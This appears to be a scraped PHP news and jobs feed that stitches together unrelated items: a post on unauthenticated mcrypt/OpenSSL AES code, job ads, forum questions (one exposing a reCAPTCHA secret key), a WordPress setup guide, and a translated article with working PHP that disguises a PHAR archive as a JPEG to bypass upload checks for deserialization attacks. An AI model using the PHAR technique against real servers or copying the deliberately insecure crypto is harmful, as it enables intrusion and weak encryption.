Here is an example of an unauthenticated AES-256-CBC encryption library written in Mcrypt with PKCS7 padding.

/** * This library is unsafe because it does not MAC after encrypting */ class UnsafeMcryptAES { const CIPHER = MCRYPT_RIJNDAEL_128; public static function encrypt($message, $key) { if (mb_strlen($key, '8bit') !== 32) { throw new Exception("Needs a 256-bit key!"); } $ivsize = mcrypt_get_iv_size(self::CIPHER); $iv = mcrypt_create_iv($ivsize, MCRYPT_DEV_URANDOM); // Add PKCS7 Padding $block = mcrypt_get_block_size(self::CIPHER); $pad = $block - (mb_strlen($message, '8bit') % $block, '8bit'); $message .= str_repeat(chr($pad), $pad); $ciphertext = mcrypt_encrypt( MCRYPT_RIJNDAEL_128, $key, $message, MCRYPT_MODE_CBC, $iv ); return $iv . $ciphertext; } public static function decrypt($message, $key) { if (mb_strlen($key, '8bit') !== 32) { throw new Exception("Needs a 256-bit key!"); } $ivsize = mcrypt_get_iv_size(self::CIPHER); $iv = mb_substr($message, 0, $ivsize, '8bit'); $ciphertext = mb_substr($message, $ivsize, null, '8bit'); $plaintext = mcrypt_decrypt( MCRYPT_RIJNDAEL_128, $key, $ciphertext, MCRYPT_MODE_CBC, $iv ); $len = mb_strlen($plaintext, '8bit'); $pad = ord($plaintext[$len - 1]); if ($pad <= 0 || $pad > $block) { // Padding error! return false; } return mb_substr($plaintext, 0, $len - $pad, '8bit'); } }

And here's the library written using OpenSSL.

/** * This library is unsafe because it does not MAC after encrypting */ class UnsafeOpensslAES { const METHOD = 'aes-256-cbc'; public static function encrypt($message, $key) { if (mb_strlen($key, '8bit') !== 32) { throw new Exception("Needs a 256-bit key!"); } $ivsize = openssl_cipher_iv_length(self::METHOD); $iv = openssl_random_pseudo_bytes($ivsize); $ciphertext = openssl_encrypt( $message, self::METHOD, $key, OPENSSL_RAW_DATA, $iv ); return $iv . $ciphertext; } public static function decrypt($message, $key) { if (mb_strlen($key, '8bit') !== 32) { throw new Exception("Needs a 256-bit key!"); } $ivsize = openssl_cipher_iv_length(self::METHOD); $iv = mb_substr($message, 0, $ivsize, '8bit'); $ciphertext = mb_substr($message, $ivsize, null, '8bit'); return openssl_decrypt( $ciphertext, self::METHOD, $key, OPENSSL_RAW_DATA, $iv ); } }

In almost every metric, openssl wins over mcrypt:

Specifying 'aes-256-cbc' is much more obvious than remembering to use MCRYPT_RIJNDAEL_128 with a 32-byte binary key. openssl_encrypt() performs PKCS7 padding by default, and lets you specify OPENSSL_ZERO_PADDING if you really want it. The code you write ends up much more compact and readable, with less room for implementation errors. It performs AES encryption/decryption much faster, since it supports AES-NI if your processor has this feature. AES-NI also means you don't have to worry about an attacker recovering your secret key from cache-timing information. OpenSSL is being actively developed and maintained. In response of the Heartbleed vulnerability last year, several organizations (including the linux Foundation) declared the project critical Internet infrastructure and began pouring resources into finding and fixing bugs in the system. If you still don't trust it, there's always LibreSSL .

Simplicity, security, and performance. What more is there to ask for?

There are, however, two things with OpenSSL that you should watch out for.

OpenSSL Gotchas The CSPRNG they offer is a userspace PRNG based on hash functions, which goes against the advice of Thomas Ptacek to use /dev/urandom . The only one-liner alternative is mcrypt_create_iv() , as demonstrated above, but this function is only exposed if you enable the mcrypt extension. Fortunately, PHP 7 will offer a core random_bytes() function that leverages the kernel's CSPRNG. Although your version of OpenSSL might list GCM based cipher modes (e.g. aes-128-gcm ), PHP doesn't actually support these methods yet. In Sum

Don't use mcrypt . If you're typing the word mcrypt into your code, you're probably making a mistake. Although it's possible to provide a relatively secure cryptography library that builds on top of mcrypt (the earlier version of defuse/php-encryption did), switching your code to openssl will provide better security, performance, maintainability, and portability.

Even better:use libsodium instead.


          DUTY OFFICER - Tropical Focus Phils. Inc. - Baguio      Cache   Translate Page      
Coordinate with the chiller operator regarding the status of the plant. The role of the Duty Officer is (but not limited) to:.... PHP 15,000 - PHP 16,000 a month
From Indeed - Tue, 11 Sep 2018 08:48:58 GMT - View all Baguio jobs
          Broiler Technical Services Representative - Bounty Agro Ventures Inc. - Isabela      Cache   Translate Page      
The company is fully supported by hundreds of broiler contract farms, dozens of hatcheries, feed mills, poultry processing plants and processed meats plants.... PHP 12,000 - PHP 15,500 a month
From Indeed - Mon, 24 Sep 2018 05:15:58 GMT - View all Isabela jobs
          Sales Specialist - Bounty Agro Ventures Inc. - Isabela      Cache   Translate Page      
The company is fully supported by hundreds of broiler contract farms, dozens of hatcheries, feed mills, poultry processing plants and processed meats plants.... PHP 12,000 - PHP 15,500 a month
From Indeed - Mon, 24 Sep 2018 04:55:36 GMT - View all Isabela jobs
          Soil and Plant Analyst - Hijo International Trading Singapore Pte. Ltd - Surigao City      Cache   Translate Page      
College Degree in Agriculture (Soil and Plant Tech/ entomologist, soil science and the like). Must be willing to work at Trento, Agusan del Sur.... PHP 12,000 - PHP 15,000 a month
From Indeed - Mon, 23 Jul 2018 06:38:41 GMT - View all Surigao City jobs
          مشكلة في فورم php يرسل لي رموز غريبة بدل الحروف العربية (الكود مرفق)      Cache   Translate Page      

السلام عليكم

لدي فورم php أريد ربطه برسائل بلوجر لكن المشكلة انه بدل الحروف العربية يرسل لي رموز غريبة

<!DOCTYPE html>

<head>
    <title>Form</title>
    <meta charset="utf-8" />
    <script src='https://www.google.com/recaptcha/api.js'></script>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    <script type="text/javascript">
        // function for check link
        function check_link()
        {
            var link = document.formcheck.linkk.value;
            $.post('check.php',{link:link},function(res){
                if(res.statu == 'yes')
                {
                    $('.form_send').prepend('<img src="'+res.image+'" height="100px" width="100px" />');
                    $('#title').val(res.title);
                    $('#link').val(res.link);
                    $('.form_check').hide();
                    $('.form_send').show();
                }
                else if(res.statu == 'link_error')
                {
                    alert('link invalid.');
                }
                else
                {
                    alert('Empty Data');
                }
            },'json');
        }
    </script>
</head>
<body>
    <style type="text/css">
        .form_send{display:none;}
    </style>
    <?php

    if(isset($_POST['title']))
    {
        // post values
        $posttitle = htmlspecialchars($_POST['title']);
        $postlink = htmlspecialchars($_POST['link']);

        // check link and title
        if(!empty($posttitle))
        {
            // capthca secret key
            $secret = '6Le5w3MUAAAAANhjE0hCio3dAVBDtRAJg81QeZwr';

            $response = $_POST['g-recaptcha-response'];
            $ip = $_SERVER['REMOTE_ADDR'];

            // get captcha response
            $verify = file_get_contents('https://www.google.com/recaptcha/api/siteverify?secret='.$secret.'&response='.$response.'&remoteip='.$ip);

            // decode response
            $json = json_decode($verify, true);

            // check captcha
            if(!$json['success'])
            {
                echo'Please check Captcha';
            }
            else
            {
                // here your email
                $my_email = 'asfardev.asfar@blogger.com';
                // here hosting email
                $server_email = 'contact@arabicbuzz.com';

                // explode link
                $linky = explode('/',$postlink);
                $lastEl = array_pop((array_slice($linky, -1)));

                // sending email
                mail($my_email, $posttitle, $lastEl, 'From:'.$server_email);

                echo 'data successfuly sended';
            }
        }
        else
        {
            echo'title or link is empty';
        }
    }
    ?>
    <div class="form_check">
        <form name="formcheck" action="" method="post">
            <label for="link">Link: </label>
            <input name="linkk" type="text" required="" />
            <br />
            <button type="button" onclick="check_link()">Check</button>
        </form>
    </div>

    <div class="form_send">
        <form action="" method="post">
            <label for="title">Title :</label>
            <input name="title" type="text" required="" id="title" />
            <br />
            <input name="link" type="hidden" id="link" />
            <br />
            <div class="g-recaptcha" data-sitekey="6Le5w3MUAAAAAFnRf187i2x5iu4XTwHq6cvhlE1N"></div>
            <br />
            <button type="submit">Submit</button>
        </form>
    </div>
</body>

          Providing catering services for inmates confined at leyte regional prison      Cache   Translate Page      
Invitation of Bids for Providing Catering Services for inmates Confined at Leyte Regional Prison

Document cost : PHP 25000

Pre-bid meeting date : 15 Oct 2018

Opening date : 29 Oct 2018
          6 Months/Weeks Industrial Training in Mohali, Chandigarh and Panchkula      Cache   Translate Page      
Goteso provides the best 6 months/weeks industrial training in Mohali, Chandigarh, and Panchkula. We provide live projects based training to the candidates to make them well-versed in practical concepts. It helps the aspirants to boost their future career. The array of domains in which we offer internship is as: - PHP Development - Android Development - iOS Development - Dot Net Development -...
          Sr. PHP Engineer      Cache   Translate Page      
TN-Franklin, If you are a Sr. PHP Engineer with experience, please read on! Designed and developed completely in­house by performance marketers, we understand first hand the importance of finding a performance marketing software that fits your unique business needs. Our own frustrations made us believe there had to be a better way; a way to consolidate data and increase functionality without a reliance on mult
          Développeur PHP [#2273] - Alteo Recrutement Informatique - Montréal, QC      Cache   Translate Page      
Alteo est à la recherche d'un Développeur PHP pour un emploi permanent basé à Montréal. Créer des composants côté serveur et des points de terminaison API...
From EmploisInformatique.com - Mon, 08 Oct 2018 04:48:00 GMT - View all Montréal, QC jobs
          #43316: REST API: Support autosaves      Cache   Translate Page      

In looking at https://github.com/WordPress/gutenberg/pull/4218 (a PR that, in part, deals with an issue of a _lot_ of autosave revisions out of Gutenberg, e.g. https://github.com/WordPress/gutenberg/issues/3656 ), Gutenburg is looking at an admin-ajax.php approach using core JS APIs since the core REST API does not directly support autosaves.

Marking for WordPress 5.0 so it can be considered early in light of Gutenburg.


           PHP Magento Developer @ DreamLab [Ringier Axel Springer Polska]; 7.0k-10.0k PLN / Month       Cache   Translate Page      
none
           [Wrocław] PHP Developer @ DreamLab [Ringier Axel Springer Polska]       Cache   Translate Page      
none
          攻击者是如何将PHP Phar包伪装成图像以绕过文件类型检测的      Cache   Translate Page      

原文:https://www.nc-lp.com/blog/disguise-phar-packages-as-images

在US BlackHat 2018大会上,安全人员证明,攻击者不仅可以利用PHAR包发动RCE攻击,而且,通过调整其二进制内容,他们还可以将其伪装成一幅图像,从而绕过安全检查。

在本文中,我们来看看第二点是如何做到的。

背景知识


在US BlackHat 2018大会期间,Sam Thomas召开了一个关于在PHP中利用phar://流包装器来实现针对服务器的代码执行攻击的研讨会(幻灯片)。

在运行PHAR包时,由于PHP会对其内容进行反序列化,从而允许攻击者启动一个PHP对象包含链。其中,最有趣的部分在于如何触发有效载荷:归档上的任何文件操作都将执行它。最后,攻击者根本无需关心文件名是否正确,因为即使是失败的文件调用,PHP也会对其内容进行反序列化处理。

此外,攻击者完全可以将PHAR包伪装成一幅图像:在这篇文章中,我们将为读者解释他们是如何做到这一点的。

降至字节码级别


有时我们会忘记这一点,那就是在机器眼里,文件只不过是一堆遵循预定义结构的字节而已。对于应用程序而言,将检查自己是否可以管理这样的数据流,如果可以的话,就会生成相应的输出。

在Thomas的演讲中,曾提示如何创建具有有效JPEG头部的PHAR包。

image

图片引自Sam Thomas的幻灯片

不过,这里我们要做的是创建一个具有JPEG头部的文件,并更新PHAR的校验和。这样一来,PHAR包一方面会被视为一个图像,同时,PHP还可以继续执行它。

开始下手


听起来,这里只需修改几个字节并更新校验,按说应该非常轻松,对吧?

然而,事实并非如此。

计算校验和(至少对我来说)是一件让人头痛的事情。所以,我想:如果让PHP来代劳的话,会怎样呢?

所以,我对Thomas的原始剧本进行了一番改造,具体如下所示:

<?php
class TestObject {}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

如您所见,这里将原始HEX字节添加到了PHAR存档的存根部分。下面是原始HEX得到的结果:

tampe125@AlphaCentauri:~$ xxd phar.jpeg 
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f  ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a  COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000  L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374  ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000  Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b  test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000  .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea  testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42  ....r.&.....GBMB

这同时是一个合法的PHAR包,以及一幅合法的JPEG图像吗?

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)

看到了吧,PHP将其视为一幅图像,我们仍然可以探索存档的内容。哈哈,好玩吧!

注意:请仔细查看存根部分,看看它是如何“跳过”开头部分的PHP标记的。因为这里是绕过大多数内容扫描程序的关键所在。对于存档来说,是否有效的关键在于函数__HALT_COMPILER(); 我认为,PHP会通过它来确定出应该“跳过”多少数据。

更进一步


到目前为止,我们制作的文件已经可以通过任何基于文件头的类型检测了,但是,对于更高级的检测方法来说,它就无能为力了。例如,使用getimagesize来检查文件内容是否为图像的话,将返回false,因为它并不是一幅“真正”的图像:

tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)

看到了吧。

但是,别忘了,我们可以在__HALT_COMPILER()标记之前填充任意的数据的,所以,如果我们在此填入一幅完整的图像的话,会怎样呢?于是,我花了大量的时间去研读JPEG规范PHP源代码,不过最后仍然没有理出头绪,所以,我果断决定放弃——太复杂了。

那么,能否直接使用GIMP创建10x10黑色图像并嵌入其中呢?

<?php
class TestObject {}

$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

好了,看看效果如何:

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
  [0] =>
  int(10)
  [1] =>
  int(10)
  [2] =>
  int(2)
  [3] =>
  string(22) "width="10" height="10""
  'bits' =>
  int(8)
  'channels' =>
  int(3)
  'mime' =>
  string(10) "image/jpeg"
}

这次,我们如愿以偿了。这个文件不仅是一个包含我们想要利用的类的PHAR包,同时,它还是一幅合法的图像(我们甚至可以用系统图像查看器打开它):

image

小结


正如我们刚才看到的,文件实际上只是一堆字节而已:如果我们只是利用其元数据进行类型检测的话,那么很可能会出错:攻击者可以轻松绕过检测,并返回他们想要的文件类型。要想检测文件类型,更加可靠的解决方案是直接读取文件内容并搜索恶意字符串。


          PHP Developer - Bkom - Québec City, QC      Cache   Translate Page      
Does Hasbro, Disney, Lego and Wizards of the Coast ring a bell? Located in the beautiful city of Quebec (Canada), BKOM Studios is a full-service digital studio...
From Bkom - Sat, 01 Sep 2018 06:11:43 GMT - View all Québec City, QC jobs
          Développeur PHP - Bkom - Québec City, QC      Cache   Translate Page      
Est-ce que Hasbro, Disney, Lego et Wizards of the Coast te disent quelque chose ? Situé dans la magnifique ville de Québec (Canada), BKOM Studios offre un...
From Bkom - Sat, 01 Sep 2018 06:11:29 GMT - View all Québec City, QC jobs
          Bitmask Constant Arguments in PHP      Cache   Translate Page      
Liam Hammett (check many of his other excellent posts) has a nice explanation of the bitmask constant arguments in PHP.  These are fairly common and most PHP developers have seen them.  However, it’s been a few occasions where I discovered that especially newer developers don’t understand how this works. Bitmask arguments and operations were used extensively … Continue reading Bitmask Constant Arguments in PHP
          walerus написал(а) в теме: Сканирование папки фото scandir PHP      Cache   Translate Page      
Задание конечно "так себе"... непонятно что почему и как.
<div class="main">
<
div class="dashboard">
<
div class="div-style1"><img src=<?PHP $files = require'php/scanfolder.php';?>>
</
div>
<
div class="div-style2"><img src=<?PHP $files = require'php/scanfolder.php';?>>
</
div>
<
div class="div-style3"><img src=<?PHP $files = require'php/scanfolder.php';?>>
</
div>
</
div>
</
div>
что то тут намудрено, выводи сразу дивы, зачем подключать 100500 раз "scanfolder" ?


<?php
// Файл index.php

function ScanMyDir(){
$directory = 'images/';
$scandir = scandir($directory);

$result = '';
for ($i=0; $i<count($scandir); $i++) {

if ($scandir[$i] != '.' && $scandir[$i] != '..') {
$result .= '<div class="div-style'.$i.'">
<img src="'
.$directory .$scandir[$i].'">
</div>'
;
}
}


return $result;
}




<!DOCTYPE html>
<
html lang="ru">
<
head>
<
meta charset="UTF-8">
<
link rel="stylesheet" href="css/style.css">
<
title>Document</title>
</
head>
<
body>


<
div class="main">
<
div class="dashboard">
<?=ScanMyDir(); ?>
</div>
</
div>


</
body>
</
html>
Попробуй так, правда я смутно понимаю, как ты собираешься новые картинки "подтягивать"...
          Instagram Autopost & Scheduler – Rankpost Schedules Instagram Comments And Posts Automatically (PHP Scripts)      Cache   Translate Page      
Rankpost is an instagram auto posting, auto scheduling php web application which allows you schedule instagram posts on auto mode. With Rankpost you can easily schedule and manage your instagram accounts in one panel at the same time. Rankpost have many powerful and unique features. Rankpost is an online marketing and instagram auto posting tool […]
          PHP Developer - Bkom - Québec City, QC      Cache   Translate Page      
Located in the beautiful city of Quebec (Canada), BKOM Studios is a full-service digital studio dedicated to helping brands develop their presence across...
From Bkom - Sat, 01 Sep 2018 06:11:43 GMT - View all Québec City, QC jobs
          Développeur PHP - Bkom - Québec City, QC      Cache   Translate Page      
Situé dans la magnifique ville de Québec (Canada), BKOM Studios offre un éventail complet de services numériques. Nous accompagnons les marques dans le...
From Bkom - Sat, 01 Sep 2018 06:11:29 GMT - View all Québec City, QC jobs
          Fatal error: Uncaught Error: Call to undefined function odbc_connect()      Cache   Translate Page      

Fatal error: Uncaught Error: Call to undefined function odbc_connect()

Respuesta a Fatal error: Uncaught Error: Call to undefined function odbc_connect()

El asunto es que tengo un examen de PHP la semana que viene y necesito hacer uso de todos los modos de conexión posibles a MySQL, jajaja... Los .dll existen, y los volví a descomprimir esta semana a partir del .rar oficial de PHP, por lo que supongo que no están corruptos.

Publicado el 10 de Octubre del 2018 por Optigan

          CHMOD safely for wordpress      Cache   Translate Page      
This is one of the way security measures PHP website and wordpress to limit direct attacks on your w
          Derick Rethans: Using the Right Debugging Tools      Cache   Translate Page      

Derick Rethans has a new post with his own suggestion about using the right debugging tools to help track down a problem (based on some of his own experience debugging the MongoDB PHP extension).

A while ago, we updated the MongoDB PHP driver's embedded C library to a new version. The C library handles most of the connection management and other low level tasks that the PHP driver needs to successfully talk to MongoDB deployments, especially in replicated environments where servers might disappear for maintenance or hardware failures.

After upgrading a related library, he ended up with a failing test related to Atlas connectivity. He walks through the process he took to try and debug the issue using GDB to see where the execution was failing using various techniques. This included looking through the backtrace and, not noticing anything out of the ordinary, going for a walk. Upon returning he noticed an odd line in the backtrace that, after some additional tracking using a GDB helper, showed the problem to be with how the query options are defined and not reset in a loop.


          Front End Developer - Purpose Financial - Montréal, QC      Cache   Translate Page      
PHP JSP &amp; .NET; Reporting to the team lead, this role will work on the “client side” of our web applications....
From Purpose Financial - Sat, 06 Oct 2018 03:11:27 GMT - View all Montréal, QC jobs
          Full Stack Web Developer (PHP, JavaScript, HTML, CSS, Wordpress) - RDG - Guelph, ON      Cache   Translate Page      
PHP:. 3+ years of PHP and Javascript experience. Urgently hiring a full stack web developer role in Guelph, ON.... $75,000 - $85,000 a year
From Indeed - Tue, 02 Oct 2018 14:26:19 GMT - View all Guelph, ON jobs
          Senior Infrastructure Engineer - Viamo - Saskatoon, SK      Cache   Translate Page      
Fluency in PHP (Laravel 5) and Go is a great asset. We aim to reach 100M unique individuals by 2021, creating a movement of more than 2,000 organizations who...
From Viamo - Fri, 24 Aug 2018 16:21:23 GMT - View all Saskatoon, SK jobs
          Senior Full-Stack Engineer - Viamo - Saskatoon, SK      Cache   Translate Page      
Mastery of web application development using PHP. Develop scalable web application backends using modern PHP frameworks and queueing engines....
From Viamo - Fri, 24 Aug 2018 16:21:23 GMT - View all Saskatoon, SK jobs
          Senior Custom Technologies Engineer - Viamo - Saskatoon, SK      Cache   Translate Page      
Basic fluency with PHP and Laravel 5 (Blade Templates) is a great help. We aim to reach 100M unique individuals by 2021, creating a movement of more than 2,000...
From Viamo - Fri, 24 Aug 2018 16:21:23 GMT - View all Saskatoon, SK jobs
          User Experience Engineer - Viamo - Saskatoon, SK      Cache   Translate Page      
Basic fluency in PHP and Laravel 5 (Blade Templates). We aim to reach 100M unique individuals by 2021, creating a movement of more than 2,000 organizations who...
From Viamo - Fri, 24 Aug 2018 16:21:23 GMT - View all Saskatoon, SK jobs
          Technical Developer - DXC - Saskatchewan      Cache   Translate Page      
PHP – Intermediate to expert. Provide technical development expertise for a core set of Delivery Tools....
From DXC - Wed, 05 Sep 2018 03:47:46 GMT - View all Saskatchewan jobs
          The Ultimate Beginner’s Guide to Setting Up & Running a WordPress Site      Cache   Translate Page      

So you've decided to run a WordPress site but have no idea where to start? This tutorial is aimed at absolute beginners. Some IT knowledge will help but I presume you want to learn the essentials within a few hours. Let's get started.

Step 1: What Do You Want to Achieve?

A little planning goes a long way. Be honest with yourself: why are you considering WordPress? Do you want to:

  • create a business website?
  • document your life, hobby or interests?
  • start an amazing web design agency?
  • learn to write code?
  • do something else?

WordPress is flexible and runs almost a third of the web — but it's not ideal for every situation. A website or article library is perfect. Creating a social network or online shop is possible but there may be better options. Using WordPress to learn PHP could be a frustrating experience.

Presuming WordPress is appropriate, are you interested in the technicalities or would you simply prefer to write content? If it's the latter, a managed WordPress plan from SiteGround or an account at WordPress.com will get you running without the hassles of installation and server management.

The moral: define the problem before choosing a solution!

Step 2: Plan Your Content

Ideally, you should have all your content written before building a site. It's the best way to plan a structure and will influence your design. No one ever does that, but at least plan a few general concepts so you have somewhere to start.

Step 3: Purchase a Domain Name

A domain name is your primary web address, e.g. www.mysite.com. Keep it short and use keywords appropriate to your content. This can be tougher than it sounds; most good names were registered years ago.

Use a reputable domain registrar. Prices vary across countries and top-level-domain types (.com, .net, .org, .ninja etc), but expect to pay around $25 for a new domain for a couple of years. Buying a decent pre-registered domain from someone else can be considerably more expensive.

Step 4: Purchase a Hosting Plan

Your site needs to be hosted somewhere. Its files must be placed on a device which understands how to deal with web requests: a web server. You could serve everything from your desktop PC but it quickly becomes impractical.

Buy a suitable plan from a respected host such as SiteGround. A WordPress-compatible shared hosting plan costs a few dollars a month and you can upgrade disk space and bandwidth as traffic grows.

You will then need to 'point' your domain at your new web space. This is normally done by logging into your domain registrar's control panel then either:

  1. Setting the host as the DNS nameserver, or
  2. Changing the domain's DNS A records to point at the host's IP address.

All hosts and domain registrars provide guidance but you may need to seek expert assistance. Domain changes can take up to 48 hours to propagate so you may need to wait before moving to the next step.

Step 5: Set Up SSL

Secure Socket Layer (SSL) certificates enable cryptographic protocols on your website so it is served over an https:// address rather than http://. All communication between your server and the user's browser is encrypted so it cannot be (easily) intercepted by a third party.

Configuring SSL is an optional step but highly recommended:

  1. Browsers warn when a site is not secure especially when completing forms or sending data.
  2. Search engines rank secure sites higher than non-secure equivalents.
  3. SSL is essential if you eventually want a Progressive Web App which allows your site to be "installed" and work offline.
  4. Adding SSL later is considerably more difficult. You may need to reinstall WordPress and search engine indexing can be affected.
  5. There are no disadvantages. HTTPS can be added for free and is negligibly slower than unencrypted HTTP (it can be considerably faster when used with HTTP/2).

Hosts often allow you to install a certificate purchased elsewhere, but it's easier to use their own service. For example, SiteGround provides a free Let's Encrypt option in the security section of your site's cPanel. Click that, hit Install and SSL is enabled.

enable SSL

Step 6: Install WordPress

WordPress is a complex application which requires:

  1. A back-end MySQL database where your configuration, posts, comments and other information is retained. This must be installed and configured first. A database user ID and password must be defined so applications can store and retrieve data.
  2. A large set of PHP files which form the WordPress application. These must be copied to the server prior to running a set-up procedure. This requests the database credentials before creating the database tables and initial data.
  3. After installation, WordPress communicates with the database using the ID and password to enable editing and presentation of pages.

The majority of hosts provide cPanel - a popular website management facility. You can create your database, upload WordPress and install manually. For full instructions, refer to How to Create WordPress MySQL Databases on cPanel.

Fortunately, there is an easier option. Search or browse for the WordPress options in cPanel:

Install WordPress via cPanel

Click the WordPress Installer to open the installation panel:

WordPress installation options

Define the following settings:

  • https:// for the protocol if you enabled SSL in step 5. (You can also choose whether the domain uses the initial 'www' or not).
  • Your primary domain. (There will only be one choice unless you have multiple domains pointed at the hosting plan).
  • The directory should be left blank to install WordPress in the root folder. Only change this if you want to run it from another folder, e.g. https://mysite.com/blog/
  • The name and description of your new site.
  • Keep Multisite unchecked unless you're intending to run more than one WordPress site on the same space.
  • Enter an Admin Username and Password. You will use these to log into WordPress so ensure they're strong (NOT 'admin' and 'password'!) and you keep them in a safe place.
  • Enter your Email. WordPress uses this to send you notifications when necessary.

The other options can normally be left as the default settings. Hit Install and wait a few minutes for the installation process to complete. You will be given a link to the main site (https://mysite.com/) and the WordPress control panel (https://mysite.com/wp-admin) where you can log in with your administrative username and password.

Step 7: Initial WordPress Configuration

Don't be tempted to start publishing content just yet! It's best to configure WordPress from the Settings menu before going further:

WordPress settings

The following sections describe the basic WordPress settings but note that installed themes and plugins can override these options.

General

This pane allows you to change various aspects about your installation. The primary settings to change include:

  • The Timezone. This may default to UTC so choose an appropriate city instead.
  • The Date Format. Choose an appropriate option or enter a custom string using PHP's date format
  • The Time Format. Similarly, choose an option or enter your own.

Remember to hit Save Changes once finished.

Writing

The main settings to change in this pane are:

  • The Default Post Category. Post categories are defined in Posts > Categories.
  • The Default Post Format. WordPress themes often provide different post types such as standard articles, galleries and video pages. Choose whichever you will use most often.

Reading

The Front page displays setting allows you to set whether your latest posts or a static page is presented on the home page.

The other default settings are normally fine, although you may want to temporarily disable Search Engine Visibility during the initial stages of building your site. Don't forget to enable it before going live!

Discussion

This pane controls commenting. The main setting is Allow people to post comments on new articles which you may want to disable if you don't require comments.

The post The Ultimate Beginner’s Guide to Setting Up & Running a WordPress Site appeared first on SitePoint.


          ionic firebase push notificatio       Cache   Translate Page      
